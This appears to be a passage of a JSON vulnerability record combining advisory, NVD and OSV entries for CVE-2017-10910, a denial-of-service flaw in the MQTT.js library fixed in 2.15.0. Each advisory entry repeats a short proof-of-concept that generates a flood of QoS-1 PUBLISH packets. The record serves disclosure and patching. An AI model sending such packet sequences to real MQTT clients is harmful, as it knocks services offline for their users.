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i\u003c=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:'publish',\n            topic:Buffer.from('hello'),\n            payload:Buffer.from('world'),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.","status":"published","published":"2017-12-28T22:51:58Z","modified":"2023-01-09T05:02:55Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:36:04.396827Z"}],"nvd":[{"id":"CVE-2017-10910","description":"MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.","status":"published","published":"2017-12-28T02:29:03.427Z","modified":"2026-06-17T01:00:54.297Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"primary"},{"version":"2.0","score":4,"vector":"AV:N/AC:L/Au:S/C:N/I:N/A:P","level":"medium","assessor":"primary"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T14:04:11.215487Z"}],"osv":[{"id":"CVE-2017-10910","description":"MQTT.js 2.x.x prior to 2.15.0 issue in handling PUBLISH tickets may lead to an attacker causing a denial-of-service condition.","status":"published","published":"2017-12-28T02:29:03.427Z","modified":"2026-10-20T10:48:08.737431119Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-02T15:44:03.851821Z"},{"id":"GHSA-h9mj-fghc-664w","title":"Denial of Service in mqtt","description":"Affected versions of `mqtt` do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.\n\nThe vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.\n\n## Proof of Concept\n\nThe following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.\n```\nvar mqttp = require('mqtt-packet');\nvar packets = [];\nfor(var i=0; i\u003c=1000;i++){\n    packets.push(\n        mqttp.generate({\n            cmd:'publish',\n            topic:Buffer.from('hello'),\n            payload:Buffer.from('world'),\n            retain: false,\n            dup: false, \n            messageId: ++i, \n            qos: 1\n        })\n    )\n}\n\n```\n\n\n## Recommendation\n\nUpdate to version 2.15.0 or later.","status":"published","published":"2017-12-28T22:51:58Z","modified":"2023-11-08T03:58:48.928864Z","cvss":[{"version":"3.0","score":6.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"cwes":["CWE-674"],"updated_at":"2026-11-02T15:46:48.920784Z"}]}}